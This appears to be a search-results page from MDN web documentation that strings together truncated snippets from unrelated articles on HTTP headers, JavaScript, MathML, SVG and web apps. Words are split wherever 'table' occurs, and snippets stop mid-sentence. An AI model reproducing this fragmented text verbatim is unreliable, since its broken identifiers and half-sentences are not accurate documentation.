table script is only allowed from userscripts.example.com. example 4 a web site administrator for an online banking site wants to ensure that all its content is loaded using tls, in order to prevent attackers from eavesdropping on requests. content-security-policy: default-src https://onlinebanking.jumbobank.com the server permits access only to documents being loaded specifically over https throu...
Index - HTTP
sn't use the same method as the actual request. 15 age caching, http, response, header the age header contains the time in seconds the object has been in a proxy cache. 16 allow entity header, http, http header, reference, header the allow header lists the set of methods support by a resource. 17 alt-svc draft, http, http header, needscompat
table, needscontent, needsexample, reference the alt-svc header is used to list alternate ways to reach this website. 18 authorization http, http header, reference, request header, header the http authorization request header contains the credentials to authenticate a user agent with a server, usually after the server has responded with a 401 unauthorized status and the www-a...
...rer information, sent in the referer header, should be included with requests made. 96 retry-after http, reference, response, response header, header the retry-after response http header indicates how long the user agent should wait before making a follow-up request. there are three main cases this header is used: 97 sec-websocket-accept draft, http, needscompat
table, needscontent, reference, sec-websocket-accept, websockets, header the sec-websocket-accept header is used in the websocket opening handshake. it would appear in the response headers. that is, this is header is sent from server to client to inform that server is willing to initiate a websocket connection. 98 server http, reference, header the server header contains info...
TE - HTTP
the te request header specifies the transfer encodings the user agent is willing to accept. (you could informally call it accept-transfer-encoding, which would be more intuitive). in http/2 - the te header field is only accepted if the trailers value is set. see also the transfer-encoding response header for more details on transfer encodings. note that chunked is always accep
table for http/1.1 recipients and you don't have to specify "chunked" using the te header. however, it is useful for setting if the client is accepting trailer fields in a chunked transfer coding using the "trailers" value. header type request header forbidden header name yes syntax te: compress te: deflate te: gzip te: trailers // multiple directives, weighted with the quality value sy...
...el-ziv-welch (lzw) algorithm is accepted as a transfer coding name. deflate using the zlib structure is accepted as a transfer coding name. gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc is accepted as a transfer coding name. trailers indicates that the client is willing to accept trailer fields in a chunked transfer coding. q when multiple transfer codings are accep
table, the q parameter of the quality value syntax can rank codings by preference. specifications specification title rfc 7230, section 4.3: te hypertext transfer protocol (http/1.1): message syntax and routing ...
A re-introduction to JavaScript (JS tutorial) - JavaScript
microsoft released jscript with internet explorer 3. it was a mostly-compatible javascript work-alike. several months after that, netscape submitted javascript to ecma international, a european standards organization, which resulted in the first edition of the ecmascript standard that year. the standard received a significant update as ecmascript edition 3 in 1999, and it has stayed pretty much s
table ever since. the fourth edition was abandoned, due to political differences concerning language complexity. many parts of the fourth edition formed the basis for ecmascript edition 5, published in december of 2009, and for the 6th major edition of the standard, published in june of 2015. because it is more familiar, we will refer to ecmascript as "javascript" from this point on. unlike most pr...
...n have expressions in both the switch part and the cases if you like; comparisons take place between the two using the === operator: switch (1 + 3) { case 2 + 2: yay(); break; default: neverhappens(); } objects javascript objects can be thought of as simple collections of name-value pairs. as such, they are similar to: dictionaries in python. hashes in perl and ruby. hash
tables in c and c++. hashmaps in java. associative arrays in php. the fact that this data structure is so widely used is a testament to its versatility. since everything (bar core types) in javascript is an object, any javascript program naturally involves a great deal of hash
table lookups. it's a good thing they're so fast! the "name" part is a javascript string, while the value can be any javas...
JavaScript modules - JavaScript
o the site root, which for our basic-modules example would be /js-examples/modules/basic-modules. however, we've written the path a bit differently — we are using the dot (.) syntax to mean "the current location", followed by the path beyond that to the file we are trying to find. this is much better than writing out the entire relative path each time, as it is shorter, and it makes the url por
table — the example will still work if you move it to a different location in the site hierarchy. so for example: /js-examples/modules/basic-modules/modules/square.js becomes ./modules/square.js you can see such lines in action in main.js. note: in some module systems, you can omit the file extension and the dot (e.g. '/modules/square'). this doesn't work in native javascript modules. once y...
...that was imported, but you can still modify properties similar to const. additionally, these features are imported as live bindings, meaning that they can change in value even if you cannot modify the binding unlike const. applying the module to your html now we just need to apply the main.js module to our html page. this is very similar to how we apply a regular script to a page, with a few no
table differences. first of all, you need to include type="module" in the <script> element, to declare this script as a module. to import the main.js script, we use this: <script type="module" src="main.js"></script> you can also embed the module's script directly into the html file by placing the javascript code within the body of the <script> element: <script type="module"> /* javascript module...
Unicode property escapes - JavaScript
if a character is used in a limited set of scripts, the script property will only match for the "predominant" used script. if we want to match characters based on a "non-predominant" script, we could use the script_extensions property (scx for short). // ٢ is the digit 2 in arabic-indic notation // while it is predominantly written within the arabic script // i...
... latin texts. unicode property escapes categories encompass much more characters and \p{letter} or \p{number} will work for any script. // trying to use ranges to avoid \w limitations: const nonenglishtext = "Приключения Алисы в Стране чудес"; const regexpbmpword = /([\u0000-\u0019\u0021-\uffff])+/gu; // bmp goes through u+0000 to u+ffff but space is u+0020 console.
table(nonenglishtext.match(regexpbmpword)); // using unicode property escapes instead const regexpupe = /\p{l}+/gu; console.
table(nonenglishtext.match(regexpupe)); specifications specification ecmascript (ecma-262)the definition of 'regexp: unicode property escapes' in that specification. ...
Regular expressions - JavaScript
groups and ranges indicate groups and ranges of expression characters. quantifiers indicate numbers of characters or expressions to match. unicode property escapes distinguish based on unicode character properties, for example, upper- and lower-case letters, math symbols, and punctuation. if you want to look at all the special characters that can be used in regular expressions in a single
table, see the following: special characters in regular expressions. characters / constructs corresponding article \, ., \cx, \d, \d, \f, \n, \r, \s, \s, \t, \v, \w, \w, \0, \xhh, \uhhhh, \uhhhhh, [\b] character classes ^, $, x(?=y), x(?!y), (?<=y)x, (?<!y)x, \b, \b assertions (x), (?:x), (?<name>x), x|y, [xyz], [^xyz], \number ...
...dex: 1, input: 'cdbbdbsbz' ]. (see different behaviors for further info about the different behaviors.) if you want to construct the regular expression from a string, yet another alternative is this script: var myre = new regexp('d(b+)d', 'g'); var myarray = myre.exec('cdbbdbsbz'); with these scripts, the match succeeds and returns the array and updates the properties shown in the following
table. results of regular expression execution. object property or index description in this example myarray the matched string and all remembered substrings. ['dbbd', 'bb', index: 1, input: 'cdbbdbsbz'] index the 0-based index of the match in the input string. 1 input the original string. 'cdbbdbsbz' [0] the last matc...
Text formatting - JavaScript
s the string "2 + 2" a string object has one property, length, that indicates the number of utf-16 code units in the string. for example, the following code assigns hellolength the value 13, because "hello, world!" has 13 characters, each represented by one utf-16 code unit. you can access each code unit using an array bracket style. you can't change individual characters because strings are immu
table array-like objects: const hello = 'hello, world!'; const hellolength = hello.length; hello[0] = 'l'; // this has no effect, because strings are immu
table hello[0]; // this returns "h" characters whose unicode scalar values are greater than u+ffff (such as some rare chinese/japanese/korean/vietnamese characters and some emoji) are stored in utf-16 with two surrogate code units each. for example...
...h as the formation of strings with unmatched surrogate code units, in violation of the unicode standard. (examples should be added to this page after mdn bug 857438 is fixed.) see also string.fromcodepoint() or string.prototype.codepointat(). a string object has a variety of methods: for example those that return a variation on the string itself, such as substring and touppercase. the following
table summarizes the methods of string objects. methods of string method description charat, charcodeat, codepointat return the character or character code at the specified position in string. indexof, lastindexof return the position of specified substring in the string or last position of specified substring, respectively. startswith, endswith, in...
TypeError: "x" is read-only - JavaScript
trict mode (edge) typeerror: "x" is read-only (firefox) typeerror: 0 is read-only (firefox) typeerror: cannot assign to read only property 'x' of #<object> (chrome) typeerror: cannot assign to read only property '0' of [object array] (chrome) error type typeerror what went wrong? the global variable or object property that was assigned to is a read-only property. (technically, it is a non-wri
table data property.) this error happens only in strict mode code. in non-strict code, the assignment is silently ignored. examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.freeze(). 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(this...
...appens only in strict mode code. in non-strict code, the assignment is silently ignored. examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.freeze(). 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(this, 'lung_count', {value: 2, wri
table: false}); lung_count = 3; // typeerror 'use strict'; var frozenarray = object.freeze([0, 1, 2]); frozenarray[0]++; // typeerror there are also a few read-only properties built into javascript. maybe you tried to redefine a mathematical constant. 'use strict'; math.pi = 4; // typeerror sorry, you can't do that. the global variable undefined is also read-only, so you can't silence the inf...
Array.prototype.copyWithin() - JavaScript
-performance method to shift the data of an array. this especially applies to the typedarray method of the same name. the sequence is copied and pasted as one operation; pasted sequence will have the copied values even when the copy and paste region overlap. the copywithin function is intentionally generic, it does not require that its this value be an array object. the copywithin method is a mu
table method. it does not alter the length of this, but it will change its content and create new properties, if necessary. polyfill if (!array.prototype.copywithin) { object.defineproperty(array.prototype, 'copywithin', { value: function(target, start/*, end*/) { // steps 1-2. if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this);...
...ection = 1; if (from < to && to < (from + count)) { direction = -1; from += count - 1; to += count - 1; } // step 18. while (count > 0) { if (from in o) { o[to] = o[from]; } else { delete o[to]; } from += direction; to += direction; count--; } // step 19. ...
Array.prototype.indexOf() - JavaScript
array.indexof(2, -3); // 0 finding all the occurrences of an element var indices = []; var array = ['a', 'b', 'a', 'c', 'a', 'd']; var element = 'a'; var idx = array.indexof(element); while (idx != -1) { indices.push(idx); idx = array.indexof(element, idx + 1); } console.log(indices); // [0, 2, 4] finding if an element exists in the array or not and updating the array function updatevege
tablescollection (veggies, veggie) { if (veggies.indexof(veggie) === -1) { veggies.push(veggie); console.log('new veggies collection is : ' + veggies); } else if (veggies.indexof(veggie) > -1) { console.log(veggie + ' already exists in the veggies collection.'); } } var veggies = ['potato', 'tomato', 'chillies', 'green-pepper']; updatevege
tablescollection(veggies, ...
... specifications specification ecmascript (ecma-262)the definition of 'array.prototype.indexof' in that specification. ...
Array.prototype.map() - JavaScript
. let mappedvalue be the result of calling the call internal // method of callback with t as the this value and argument // list containing kvalue, k, and o. mappedvalue = callback.call(t, kvalue, k, o); // iii. ...
...increase k by 1. k++; } // 9. ...
Function.prototype.bind() - JavaScript
e may well be others, as this list does not seriously attempt to be exhaustive) between this algorithm and the specified algorithm are: the partial implementation relies on array.prototype.slice(), array.prototype.concat(), function.prototype.call() and function.prototype.apply(), built-in methods to have their original values. the partial implementation creates functions that do not have immu
table "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion. (this could be added if the implementation supports object.defineproperty, or partially implemented [without throw-on-delete behavior] if the implementation supports the __definegetter__ and __definesetter__ extensions.) the partial implementation creates functions that have a prototype property. (pr...
...wer = new latebloomer(); flower.bloom(); // after 1 second, calls 'flower.declare()' bound functions used as constructors warning: this section demonstrates javascript capabilities and documents some edge cases of the bind() method. the methods shown below are not the best way to do things, and probably should not be used in any production environment. bound functions are automatically sui
table for use with the new operator to construct new instances created by the target function. when a bound function is used to construct a value, the provided this is ignored. however, provided arguments are still prepended to the constructor call: function point(x, y) { this.x = x; this.y = y; } point.prototype.tostring = function() { return `${this.x},${this.y}`; }; const p = new point(1, ...
Function.length - JavaScript
the length property indicates the number of parameters expected by the function. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of function.length wri
table no enumerable no configurable yes description length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. this number excludes the rest parameter and only includes parameters before the first one with a default value. by contrast, arguments.length is local to a function an...
...ber excludes the rest parameter and only includes parameters before the first one with a default value. by contrast, arguments.length is local to a function and provides the number of arguments actually passed to the function. data property of the function constructor the function constructor is itself a function object. its length data property has a value of 1. the property attributes are: wri
table: false, enumerable: false, configurable: true. property of the function prototype object the length property of the function prototype object has a value of 0. examples using function length console.log(function.length); /* 1 */ console.log((function() {}).length); /* 0 */ console.log((function(a) {}).length); /* 1 */ console.log((function(a, b) {}).length); /* 2 etc. */ co...
Intl.Locale.prototype.collation - JavaScript
strings must be sorted and placed into a certain order, from search query results to ordering records in a database. while the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language. the collation property helps to make it easier for javascript programmers to access the collation type used by a particular locale. below is a
table with the available collation types, taken from the unicode collation specification. valid collation types collation type description big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a previous version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) ...
...latin, big5 charset ordering for cjk characters (used in chinese) compat a previous version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected. do not use. ...
Number.MAX_VALUE - JavaScript
values larger than max_value are represented as infinity. ...
...values larger than max_value are represented as infinity. ...
Object.isSealed() - JavaScript
s a pull request. syntax object.issealed(obj) parameters obj the object which should be checked. return value a boolean indicating whether or not the given object is sealed. description returns true if the object is sealed, otherwise false. an object is sealed if it is not extensible and if all its properties are non-configurable and therefore not removable (but not necessarily non-wri
table). examples using object.issealed // objects aren't sealed by default. var empty = {}; object.issealed(empty); // === false // if you make an empty object non-extensible, // it is vacuously sealed. object.preventextensions(empty); object.issealed(empty); // === true // the same is not true of a non-empty object, // unless its properties are all non-configurable. var hasprop = { fee: 'fie foe ...
...d(hasprop); // === true // the easiest way to seal an object, of course, // is object.seal. var sealed = {}; object.seal(sealed); object.issealed(sealed); // === true // a sealed object is, by definition, non-extensible. object.isextensible(sealed); // === false // a sealed object might be frozen, // but it doesn't have to be. object.isfrozen(sealed); // === true // (all properties also non-wri
table) var s2 = object.seal({ p: 3 }); object.isfrozen(s2); // === false // ('p' is still wri
table) var s3 = object.seal({ get p() { return 0; } }); object.isfrozen(s3); // === true // (only configurability matters for accessor properties) non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror. in es2015, a non-object argument will...
Object.preventExtensions() - JavaScript
le object, in general, may still be deleted. attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most commonly, but not exclusively, when in strict mode). object.preventextensions() only prevents addition of own properties. properties can still be added to the object prototype. this method makes the [[prototype]] of the target immu
table; any [[prototype]] re-assignment will throw a typeerror. this behavior is specific to the internal [[prototype]] property, other properties of the target object will remain mu
table. there is no way to make an object extensible again once it has been made non-extensible. examples using object.preventextensions // object.preventextensions returns the object // being made non-extensible. var obj...
...ovable: true }; object.preventextensions(nonextensible); object.defineproperty(nonextensible, 'new', { value: 8675309 }); // throws a typeerror // in strict mode, attempting to add new properties // to a non-extensible object throws a typeerror. function fail() { 'use strict'; // throws a typeerror nonextensible.newproperty = 'fail'; } fail(); a non-extensible object's prototype is immu
table: var fixed = object.preventextensions({}); // throws a 'typeerror'. fixed.__proto__ = { oh: 'hai' }; non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror. in es2015, a non-object argument will be treated as if it was a non-extensible ordinary object, simply return it. object.preventextensions(1); // typeerror: 1 is not an ob...
Object.prototype.toLocaleString() - JavaScript
o print array values as a string, optionally with locale-specific identifiers (such as currency symbols) appended to them: for example: const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more sui
table for specific locales: for example: const testdate = new date(date.now()); // "date fri may 29 2020 18:04:24 gmt+0100 (british summer time)" let dedate = testdate.tolocalestring('de'); // "29.5.2020, 18:04:24" var frdate = testdate.tolocalestring('fr'); //"29/05/2020 à 18:04:24" number tolocalestring() override on number objects, tolocalestring() is used to print out number displays more su...
...with the correct separators: for example: const testnumber = 2901234564; // "2901234564" let denumber = testnumber.tolocalestring('de'); // "2.901.234.564" let frnumber = testnumber.tolocalestring('fr'); // "2 901 234 564" specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tolocalestring' in that specificati...
handler.get() - JavaScript
the value reported for a property must be undefined if the corresponding target object property is a non-configurable own accessor property that has undefined as its [[get]] attribute. examples trap for getting a property value the following code traps getting a property value. const p = new proxy({}, { get: function(target, property, receiver) { c...
...e following code traps getting a property value. const p = new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code violates an invariant. const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: false, value: 10, wri
table: false }); const p = new proxy(obj, { get: function(target, property) { return 20; } }); p.a; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[get]]' in that specification. ...
Proxy - JavaScript
m, the value is an array products.latestbrowser = 'chrome'; console.log(products.browsers); // ['firefox', 'chrome'] console.log(products.latestbrowser); // 'chrome' finding an array item object by its property this proxy extends an array with some utility features. as you see, you can flexibly "define" properties without using object.defineproperties. this example can be adapted to find a
table row by its cell. in that case, the target will be
table.rows. let products = new proxy([ { name: 'firefox', type: 'browser' }, { name: 'seamonkey', type: 'browser' }, { name: 'thunderbird', type: 'mailer' } ], { get: function(obj, prop) { // the default behavior to return the value; prop is usually an integer if (prop in obj) { return obj[prop]; } // get the number...
...(); }, has: function (otarget, skey) { return skey in otarget || otarget.hasitem(skey); }, defineproperty: function (otarget, skey, odesc) { if (odesc && 'value' in odesc) { otarget.setitem(skey, odesc.value); } return otarget; }, getownpropertydescriptor: function (otarget, skey) { var vvalue = otarget.getitem(skey); return vvalue ? ...
Reflect.getOwnPropertyDescriptor() - JavaScript
n object. description the reflect.getownpropertydescriptor method returns a property descriptor of the given property if it exists in the target object, undefined otherwise. the only difference to object.getownpropertydescriptor() is how non-object targets are handled. examples using reflect.getownpropertydescriptor() reflect.getownpropertydescriptor({x: 'hello'}, 'x') // {value: "hello", wri
table: true, enumerable: true, configurable: true} reflect.getownpropertydescriptor({x: 'hello'}, 'y') // undefined reflect.getownpropertydescriptor([], 'length') // {value: 0, wri
table: true, enumerable: false, configurable: false} difference to object.getownpropertydescriptor() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.getow...
...ence to object.getownpropertydescriptor() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.getownpropertydescriptor, a non-object first argument will be coerced to an object at first. reflect.getownpropertydescriptor('foo', 0) // typeerror: "foo" is not non-null object object.getownpropertydescriptor('foo', 0) // { value: "f", wri
table: false, enumerable: true, configurable: false } specifications specification ecmascript (ecma-262)the definition of 'reflect.getownpropertydescriptor' in that specification. ...
WebAssembly.Instance() constructor - JavaScript
syntax important: since instantiation for large modules can be expensive, developers should only use the instance() constructor when synchronous instantiation is absolutely required; the asynchronous webassembly.instantiatestreaming() method should be used at all other times. new webassembly.instance(module, importobject); parameters module the webassembly.module object to be instantiated. importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects. ...
...ct = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstance() constructorchrome full su...
WebAssembly.Instance - JavaScript
instance objects contain all the exported webassembly functions that allow calling into webassembly code from javascript. constructor webassembly.instance() creates a new instance object. instance properties instance.prototype.exports returns an object containing as its members all the functions exported from the webassembly module instance, to allow them to be accessed and used by javascript. read-only. ...
...} }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions. specifications specification webassembly javascript interfacethe definition of 'instance' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstancechrome full support ...
WebAssembly.Memory() constructor - JavaScript
the webassembly.memory() constructor creates a new memory object whose buffer property is a resizable arraybuffer or sharedarraybuffer that holds the raw bytes of memory accessed by a webassembly instance. a memory created by javascript or in webassembly code will be accessible and mu
table from both javascript and webassembly. syntax new webassembly.memory(memorydescriptor); parameters memorydescriptor an object that can contain the following members: initial the initial size of the webassembly memory, in units of webassembly pages. maximum optional the maximum size the webassembly memory is allowed to grow to, in units of webassembly pages. when present, the maximum parameter acts as a hint to the engine to reserve memory up front. however, the engine may ignore or clamp thi...
...emory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared:true}); this memory's buffer property will return a sharedarraybuffer. specifications specification webassembly javascript interfacethe definition of 'memory' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemory() constructorchrome full supp...
WebAssembly.Memory - JavaScript
constructor webassembly.memory() creates a new memory object. instance properties memory.prototype.buffer an accessor property that returns the buffer contained in the memory. ...
...mory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared: true}); this memory's buffer property will return a sharedarraybuffer. specifications specification webassembly javascript interfacethe definition of 'memory' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemorychrome full support ...
undefined - JavaScript
the global undefined property represents the primitive value undefined. it is one of javascript's primitive types. property attributes of undefined wri
table no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax undefined description undefined is a property of the global object. ...
... the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax undefined description undefined is a property of the global object. that is, it is a variable in global scope. the initial value of undefined is the primitive value undefined. in modern browsers (javascript 1.8.5 / firefox 4+), undefined is a non-configurable, non-wri
table property, per the ecmascript 5 specification. (even when this is not the case, avoid overriding it.) a variable that has not been assigned a value is of type undefined. a method or statement also returns undefined if the variable that is being evaluated does not have an assigned value. a function returns undefined if a value was not returned. be careful. while it is possible to use it as an id...
Lexical grammar - JavaScript
indicator) and n, which is exponent or power number – a signed integer (as per 2019 ecma-262 specs): 0e-5 // => 0 0e+5 // => 0 5e1 // => 50 175e-2 // => 1.75 1e3 // => 1000 1e-3 // => 0.001 binary binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b). because this syntax is new in ecmascript 2015, see the browser compatibility
table, below. if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b". var flt_signbit = 0b10000000000000000000000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal octal number syntax uses a leading zero followed by a lowercase ...
...b". var flt_signbit = 0b10000000000000000000000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal octal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "o" (0o or 0o). because this syntax is new in ecmascript 2015, see the browser compatibility
table, below. if the digits after the 0o are outside the range (01234567), the following syntaxerror is thrown: "missing octal digits after 0o". var n = 0o755; // 493 var m = 0o644; // 420 // also possible with just a leading zero (see note about decimals above) 0755 0644 hexadecimal hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "x" (0x or 0x). if ...
super - JavaScript
you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror. class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } } new derived().delete(); // referenceerror: invalid delete involving 'super'. ...
...d super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror. class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } } new derived().delete(); // referenceerror: invalid delete involving 'super'. super.prop cannot overwrite non-wri
table properties when defining non-wri
table properties with e.g. object.defineproperty, super cannot overwrite the value of the property. class x { constructor() { object.defineproperty(this, 'prop', { configurable: true, wri
table: false, value: 1 }); } } class y extends x { constructor() { super(); } foo() { super.prop = 2; // cannot overwrite the value. } } var y = new y(); y.foo(); // t...
const - JavaScript
block in which it is declared. global constants do not become properties of the window object, unlike var variables. an initializer for a constant is required. you must specify its value in the same statement in which it's declared. (this makes sense, given that it can't be changed later.) the const declaration creates a read-only reference to a value. it does not mean the value it holds is immu
table—just that the variable identifier cannot be reassigned. for instance, in the case where the content is an object, this means the object's contents (e.g., its properties) can be altered. all the considerations about the "temporal dead zone" apply to both let and const. a constant cannot share its name with a function or a variable in the same scope. examples basic const usage constants can ...
... const also works on objects and arrays. const my_object = {'key': 'value'}; // attempting to overwrite the object throws an error // uncaught typeerror: assignment to constant variable. my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immu
table // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable. my_array = ['b']; specifications specification ecmascript (ecma-262)the definition of 'let and const declarations' in that spe...
Authoring MathML - MathML
mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. ...
...there is also a similar script to display a warning at the top of the page for browsers without good mathml support and let the users choose between one of the fallback above: <script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script> if you don't want to use this link to github but instead to integrate these polyfills or others in your own project, yo...
<mstyle> - MathML
ent is used change the style of its children. it accepts all attributes of all mathml presentation elements with some exceptions and additional attributes listed below. attributes dir overall directionality of formulas. possible values are either ltr (left to right) or rtl (right to left). decimalpoint this attribute is specifying the character for the alignment point within <mstack> and <m
table> columns, if the decimalpoint value is used to specify the alignment. displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. see also largeop and movablelimits on <mo>. infixlin...
...fies a minimum font size allowed due to changes in scriptlevel. the default value is 8pt. scriptsizemultiplier specifies the multiplier to be used to adjust font size due to changes in scriptlevel. the default value is 0.71. the <mstyle> element accepts all attributes of all presentation elements with the following exceptions: height, depth or width do not apply to <mglyph>, <mpadded> or <m
table>. rowalign, columnalign, or groupalign do not apply to <mtr>, <mlabeledtr>, <mtd> or <maligngroup>. lspace or voffset do not apply to <mpadded>. fontfamily does not apply to <mglyph>. align does not apply to <m
table> or <mstack>. index cannot be set on <mstyle>. src and alt on <mglyph> cannot be set on <mstyle>. actiontype on <maction> cannot be set on <mstyle>. examples using displayst...
<mtd> - MathML
possible values are: left, center and right. columnspan a non-negative integer value that indicates on how many columns does the cell extend. groupalign unimplemented href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
...er value that indicates on how many columns does the cell extend. groupalign unimplemented href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign specifies the vertical alignment of this cell and overrides values specified by <m
table> or <mtr>. possible values are: axis, baseline, bottom, center and top. rowspan a non-negative integer value that indicates on how many rows does the cell extend. specifications specification status comment mathml 3.0the definition of 'mtd' in that specification. recommendation current specification mathml 2.0the definition of 'mtd' in that specifi...
Graphic design for responsive sites - Progressive web apps (PWAs)
but today it is very much a reality. this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. ...
...t high resolutions. you could use css3 properties for generating effects like drop shadows, gradients and rounded corners, and you could also consider using svg for other ui elements, instead of raster graphics formats. the downsides here are that css3 properties and svg don't work on old browsers such as ie6-8 (although polyfills are available, and you could build in fallbacks), and svg isn't sui
table for high detail images, such as photographs. using fonts for icons another technique to consider is using web fonts for icons. text is infinitely scalable on the web, and you can also use css text properties to style your web font icons, such as text-shadow and color. making your own font file can be a bit fiddly, but there are a number of good icon font services available such as font awesome.
Media - Progressive web apps (PWAs)
e brackets: [disabled] or [readonly]. ...
...it might also have a hover effect when the pointer is over it. more details for more information about user interfaces in css, see user interface in the css specification. ...
SVG Styling Attributes - SVG: Scalable Vector Graphics
the svg styling attributes are all the attributes that can be specified on any svg element to apply css styling effects. ...
...on any svg element to apply css styling effects. class style attributes class assigns a class name or set of class names to an element. ...
alignment-baseline - SVG: Scalable Vector Graphics
baseline uses the dominant baseline choice of the parent. matches the box’s corresponding baseline to that of its parent. before-edge the alignment-point of the object being aligned is aligned with the "before-edge" baseline of the parent...
...hat specification. candidate recommendation refers to the definition in css inline layout and notes the changes to auto, before-edge, after-edge, text-before-edge, and text-after-edge scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignment-baselinechrome ? edge ...
attributeType - SVG: Scalable Vector Graphics
auto this value specifies that the implementation should match the attributename to an attribute for the ...
... <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto anima
table no css this value specifies that the value of attributename is the name of a css property defined as anima
table. xml this value specifies that the value of attributename is the name of an xml attribute defined as anima
table in the default xml namespace for the target element. auto this value specifies that the implementation should match the attributename to an attribute for the target element. user agents first search through the list of css properties for a matching property name, and if none is foun...
baseline-shift - SVG: Scalable Vector Graphics
be used as a css property. note: this property is going to be deprecated and authors are advised to use vertical-align instead. as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <tref>, and <tspan> usage notes value <length-percentage> | sub | super default value 0 anima
